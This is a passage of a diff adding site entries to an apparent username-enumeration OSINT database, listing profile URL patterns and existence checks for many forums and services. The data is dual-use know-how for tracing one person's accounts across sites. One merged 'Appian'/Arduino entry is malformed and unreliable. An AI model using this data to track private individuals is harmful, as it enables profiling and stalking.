416411, + "urlMain": "https://www.anibox.org", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anime-planet": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 6789, + "urlMain": "https://www.anime-planet.com", + "url": "https://www.anime-planet.com/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anime.web.tr": { + "tags": [ + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "\u00dczg\u00fcn\u00fcz, b\u00f6yle bir kullan\u0131c\u0131 bulunmuyor" + ], + "alexaRank": 2050393, + "urlMain": "http://www.anime.web.tr/", + "url": "http://www.anime.web.tr/yazar/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AnimeNewsNetwork": { + "urlSubpath": "/bbs", + "tags": [ + "gb", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Could not find expected value in database" + ], + "alexaRank": 11732, + "urlMain": "https://www.animenewsnetwork.com", + "url": "https://www.animenewsnetwork.com/bbs/phpBB2/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AnimeSuperHero": { + "disabled": true, + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 556400, + "urlMain": "https://animesuperhero.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "AnimeUKNews": { + "tags": [ + "forum", + "pk" + ], + "engine": "XenForo", + "alexaRank": 668885, + "urlMain": "https://forums.animeuknews.net/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Animebase": { + "engine": "XenForo", + "alexaRank": 1397750, + "urlMain": "https://animebase.me", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "pk" + ] + }, + "Animeforum": { + "tags": [ + "forum", + "pk", + "us", + "vn" + ], + "engine": "vBulletin", + "alexaRank": 459861, + "urlMain": "https://www.animeforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anonup": { + "checkType": "message", + "absenceStrs": [ + "Page not found!" + ], + "presenseStrs": [ + "Following" + ], + "url": "https://anonup.com/@{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antichat": { + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 75555, + "urlMain": "https://forum.antichat.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antipunk": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "https://antipunk.com/", + "url": "https://antipunk.com/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11955805 + }, + "Antique-bottles": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 2027590, + "urlMain": "https://www.antique-bottles.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antiquers": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 482527, + "urlMain": "https://www.antiquers.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Antiwomen": { + "tags": [ + "forum", + "ru" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Too many searhes per IP", + "\u0414\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442 \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430.": "IP ban" + }, + "engine": "phpBB/Search", + "alexaRank": 269462, + "urlMain": "https://antiwomen.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ApexLegends": { + "checkType": "message", + "absenceStrs": [ + "PLAYER NOT FOUND" + ], + "presenseStrs": [ + "Overview" + ], + "url": "https://apex.tracker.gg/apex/profile/origin/{username}/overview", + "usernameClaimed": "RollsRoyce_Dawn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Appearoo": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 257567, + "urlMain": "http://appearoo.com", + "url": "http://appearoo.com/{username}", + "usernameClaimed": "appearoo", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Appian": { + "alexaRank": 56402, + "url": "https://community.appian.com/members/{username}", + "checkType": "message", + "absenceStrs": [ + "Working..." + ], + "absenceStrs": [ + "Arduino Project Hub" + ], + "url": "https://projecthub.arduino.cc/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AreKamrbb": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043c\u044b \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u0434\u043b\u044f \u0432\u0430\u0441.." + ], + "alexaRank": 214312, + "urlMain": "https://are.kamrbb.ru", + "url": "https://are.kamrbb.ru/?x=find&f={username}#top", + "usernameClaimed": "%D0%B0%D0%BB%D0%B8%D1%81%D0%B0", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Arhrock": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 2685814, + "urlMain": "https://arhrock.info/", + "url": "https://arhrock.info/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ariva": { + "tags": [ + "de" + ], + "checkType": "status_code", + "alexaRank": 17698, + "urlMain": "https://www.ariva.de/", + "url": "https://www.ariva.de/profil/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Armchairgm": { + "tags": [ + "us", + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://armchairgm.fandom.com/", + "url": "https://armchairgm.fandom.com/wiki/User:{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Armorgames": { + "tags": [ + "gaming", + "us" + ], + "checkType": "response_url", + "alexaRank": 16054, + "urlMain": "https://armorgames.com", + "url": "https://armorgames.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Armtorg": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 567058, + "urlMain": "https://armtorg.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Arrse": { + "urlSubpath": "/community", + "tags": [ + "ca", + "forum", + "gb", + "in", + "pk" + ], + "engine": "XenForo", + "alexaRank": 602510, + "urlMain": "https://www.arrse.co.uk/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Arsenal-mania": { + "tags": [ + "gb", + "hk", + "pk", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "alexaRank": 1102905, + "urlMain": "https://arsenal-mania.com", + "url": "https://arsenal-mania.com/forum/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artistsnclients": { + "checkType": "status_code", + "url": "https://artistsnclients.com/people/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artpersona": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d." + ], + "urlMain": "http://artpersona.org/", + "url": "http://artpersona.org/cb/userprofile/{username}", + "usernameClaimed": "Sofidark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artstation": { + "tags": [ + "art", + "stock" + ], + "checkType": "status_code", + "alexaRank": 1414, + "urlMain": "https://www.artstation.com", + "url": "https://www.artstation.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Artsy": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 10540, + "urlMain": "https://www.artsy.net", + "url": "https://www.artsy.net/artist/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Asciinema": { + "tags": [ + "in", + "tr", + "us" + ], + "checkType": "status_code", + "alexaRank": 105142, + "urlMain": "https://asciinema.org", + "url": "https://asciinema.org/~{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ask Fedora": { + "tags": [ + "forum", + "in", + "us" + ], + "absenceStrs": [ + "Sorry, we couldn't find that page." + ], + "engine": "Discourse", + "alexaRank": 36112, + "urlMain": "https://ask.fedoraproject.org/", + "usernameClaimed": "grsm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AskFM": { + "disabled": true, + "tags": [ + "eg", + "in", + "ru" + ], + "regexCheck": "^[a-zA-Z0-9_]{3,40}$", + "checkType": "message", + "absenceStrs": [ + "Well, apparently not anymore." + ], + "alexaRank": 4635, + "urlMain": "https://ask.fm/", + "url": "https://ask.fm/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Askvoprosy": { + "disabled": true, + "tags": [ + "coding" + ], + "checkType": "message", + "absenceStrs": [ + "" + ], + "alexaRank": 670057, + "urlMain": "https://askvoprosy.com/", + "url": "https://askvoprosy.com/polzovateli/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astra-club": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1071900, + "urlMain": "http://www.astra-club.ru", + "url": "http://www.astra-club.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Astraclub": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 345699, + "urlMain": "http://astraclub.ru", + "url": "http://astraclub.ru/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astralinux": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 394418, + "urlMain": "https://forum.astralinux.ru", + "usernameClaimed": "dem", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astro-talks": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 2055636, + "urlMain": "http://www.astro-talks.ru", + "url": "http://www.astro-talks.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Astrogalaxy": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1266828, + "urlMain": "https://astrogalaxy.ru", + "url": "https://astrogalaxy.ru/forum/phpBB2/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Au": { + "tags": [ + "freelance", + "ru", + "shopping" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d</title" + ], + "alexaRank": 29241, + "urlMain": "https://au.ru", + "url": "https://au.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Audiojungle": { + "tags": [ + "in", + "us" + ], + "regexCheck": "^[a-zA-Z0-9_]+$", + "checkType": "status_code", + "alexaRank": 5897, + "urlMain": "https://audiojungle.net/", + "url": "https://audiojungle.net/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Aufeminin": { + "tags": [ + "fr", + "ma", + "mg" + ], + "checkType": "response_url", + "alexaRank": 37687, + "urlMain": "https://www.aufeminin.com", + "url": "https://www.aufeminin.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autofrage": { + "checkType": "status_code", + "url": "https://www.autofrage.net/nutzer/{username}", + "usernameClaimed": "autofrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autokadabra": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1240738, + "urlMain": "http://autokadabra.ru/", + "url": "http://autokadabra.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autolada": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<title> :: AUTOLADA.RU" + ], + "presenseStrs": [ + "postdetails" + ], + "alexaRank": 152145, + "urlMain": "https://www.autolada.ru/", + "url": "https://www.autolada.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Autolenta": { + "tags": [ + "auto", + "forum", + "ru" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 7414771, + "urlMain": "https://community.autolenta.ru", + "url": "https://community.autolenta.ru/profile/{username}", + "usernameClaimed": "serzhhh", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Automania": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Go to the homepage" + ], + "presenseStrs": [ + "\u041f\u043e\u0441\u0442\u044b \u043e\u0442 " + ], + "alexaRank": 8074009, + "urlMain": "https://automania.ru", + "url": "https://automania.ru/author/{username}/", + "usernameClaimed": "autozak23", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Avforums": { + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 29727, + "urlMain": "https://www.avforums.com", + "url": "https://www.avforums.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "AvidCommunity": { + "checkType": "message", + "absenceStrs": [ + "User Not Found" + ], + "presenseStrs": [ + "My Announcements" + ], + "url": "https://community.avid.com/members/{username}/default.aspx", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Avizo": { + "tags": [ + "cz" + ], + "checkType": "response_url", + "alexaRank": 1176334, + "urlMain": "https://www.avizo.cz/", + "url": "https://www.avizo.cz/{username}/", + "errorUrl": "https://www.avizo.cz/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Avto-forum.name": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 1636731, + "urlMain": "https://avto-forum.name", + "usernameClaimed": "mariya", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Avtoforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://avtoforum.org", + "usernameClaimed": "tim", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Avtolyubiteli": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1322674, + "urlMain": "https://forum.avtolyubiteli.com", + "url": "https://forum.avtolyubiteli.com/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Avtomarket": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 84481, + "urlMain": "https://avtomarket.ru", + "url": "https://avtomarket.ru/u/{username}/", + "usernameClaimed": "expert20144", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "B17": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 11199, + "urlMain": "https://www.b17.ru/", + "url": "https://www.b17.ru/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BLIP.fm": { + "tags": [ + "in", + "music" + ], + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "checkType": "status_code", + "alexaRank": 100318, + "urlMain": "https://blip.fm/", + "url": "https://blip.fm/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BOOTH": { + "tags": [ + "jp", + "shopping" + ], + "checkType": "response_url", + "alexaRank": 6356, + "urlMain": "https://booth.pm/", + "url": "https://{username}.booth.pm/", + "errorUrl": "https://booth.pm/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Baby.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "error-page__title" + ], + "presenseStrs": [ + "user-name" + ], + "alexaRank": 5852, + "urlMain": "https://www.baby.ru/", + "url": "https://www.baby.ru/u/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "BabyBlog.ru": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 18202, + "urlMain": "https://www.babyblog.ru/", + "url": "https://www.babyblog.ru/user/{username}", + "errorUrl": "https://www.babyblog.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "BackdoorSdslabs": { + "disabled": true, + "tags": [ + "in" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "No such user exists" + ], + "alexaRank": 1627026, + "urlMain": "https://backdoor.sdslabs.co", + "url": "https://backdoor.sdslabs.co/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Badoo": { + "disabled": true, + "tags": [ + "dating", + "de", + "pl", + "ve" + ], + "checkType": "status_code", + "alexaRank": 3972, + "urlMain": "https://badoo.com/", + "url": "https://badoo.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bandcamp": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 1188, + "urlMain": "https://www.bandcamp.com/", + "url": "https://www.bandcamp.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bandlab": { + "checkType": "message", + "absenceStrs": [ + "find any matching element, it might be deleted" + ], + "presenseStrs": [ + "genres" + ], + "url": "https://www.bandlab.com/api/v1.3/users/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Barnacl": { + "checkType": "status_code", + "alexaRank": 1937722, + "urlMain": "https://barnacl.es/u/alexsam", + "url": "https://barnacl.es/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "es", + "news", + "sharing" + ] + }, + "XSS.is": { + "tags": [ + "forum", + "hacking", + "in", + "ru" + ], + "errors": { + "\u0412\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u044b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u044d\u0442\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u044d\u0442\u0443 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.": "Login required" + }, + "engine": "XenForo", + "alexaRank": 181248, + "urlMain": "https://xss.is", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Battleraprus": { + "tags": [ + "ru", + "us", + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://battleraprus.fandom.com/ru", + "url": "https://battleraprus.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bayoushooter": { + "tags": [ + "forum", + "pk", + "us" + ], + "engine": "XenForo", + "alexaRank": 1059834, + "urlMain": "https://www.bayoushooter.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bazar.cz": { + "tags": [ + "cz" + ], + "checkType": "response_url", + "alexaRank": 1126292, + "urlMain": "https://www.bazar.cz/", + "url": "https://www.bazar.cz/{username}/", + "errorUrl": "https://www.bazar.cz/error404.aspx", + "usernameClaimed": "pianina", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Bbshave": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "alexaRank": 3441230, + "urlMain": "https://bbshave.ru", + "url": "https://bbshave.ru/profile/{username}", + "usernameClaimed": "Yury", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bdoutdoors": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 158742, + "urlMain": "https://www.bdoutdoors.com", + "url": "https://www.bdoutdoors.com/forums/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BeerMoneyForum": { + "disabled": true, + "ignore403": true, + "tags": [ + "finance", + "forum", + "gambling" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 11216, + "urlMain": "https://www.beermoneyforum.com", + "url": "https://www.beermoneyforum.com/members/?username={username}", + "usernameClaimed": "Yugocean", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Beerintheevening": { + "tags": [ + "gb" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist." + ], + "alexaRank": 3307828, + "urlMain": "http://www.beerintheevening.com", + "url": "http://www.beerintheevening.com/user_profile.shtml?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Behance": { + "tags": [ + "business" + ], + "headers": { + "User-Agent": "Curl" + }, + "checkType": "status_code", + "alexaRank": 279, + "urlMain": "https://www.behance.net/", + "url": "https://www.behance.net/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Belmos": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 9023312, + "urlMain": "https://www.belmos.ru", + "url": "https://www.belmos.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "starik13", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bentbox": { + "checkType": "message", + "absenceStrs": [ + "This user is currently not available" + ], + "presenseStrs": [ + "id=\"followingUser\"" + ], + "url": "https://bentbox.co/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bestfantasybooks": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 506840, + "urlMain": "http://bestfantasybooks.com", + "url": "http://bestfantasybooks.com/forums/members/?username={username}", + "usernameClaimed": "tofulovefrog", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bestweapon": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "</script><br><table class='border-blog'><tr><td><div class='avatar'" + ], + "alexaRank": 59450, + "urlMain": "https://bestweapon.ru", + "url": "https://bestweapon.ru/author.php?author={username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bethepro": { + "tags": [ + "pk", + "us" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 522588, + "urlMain": "https://bethepro.com", + "url": "https://bethepro.com/members/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bezuzyteczna": { + "checkType": "status_code", + "url": "https://bezuzyteczna.pl/uzytkownicy/{username}", + "usernameClaimed": "Jackson", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bgforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041e\u0448\u0438\u0431\u043a\u0430 / \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 2303903, + "urlMain": "https://bgforum.ru", + "url": "https://bgforum.ru/user/{username}/", + "usernameClaimed": "Shark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bibsonomy": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 5668, + "urlMain": "https://www.bibsonomy.org", + "url": "https://www.bibsonomy.org/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Biggerpockets": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "| BiggerPockets" + ], + "url": "https://www.biggerpockets.com/users/{username}", + "usernameClaimed": "uheara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bigmmc": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 401668, + "urlMain": "http://bigmmc.com", + "usernameClaimed": "monhyip", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Bigsoccer": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 62355, + "urlMain": "https://www.bigsoccer.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bikemap": { + "checkType": "status_code", + "url": "https://www.bikemap.net/en/u/{username}/routes/created/", + "usernameClaimed": "bikemap", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BikeRadar": { + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 14858, + "urlMain": "https://forum.bikeradar.com", + "url": "https://forum.bikeradar.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Bikepost": { + "tags": [ + "ru" + ], + "checkType": 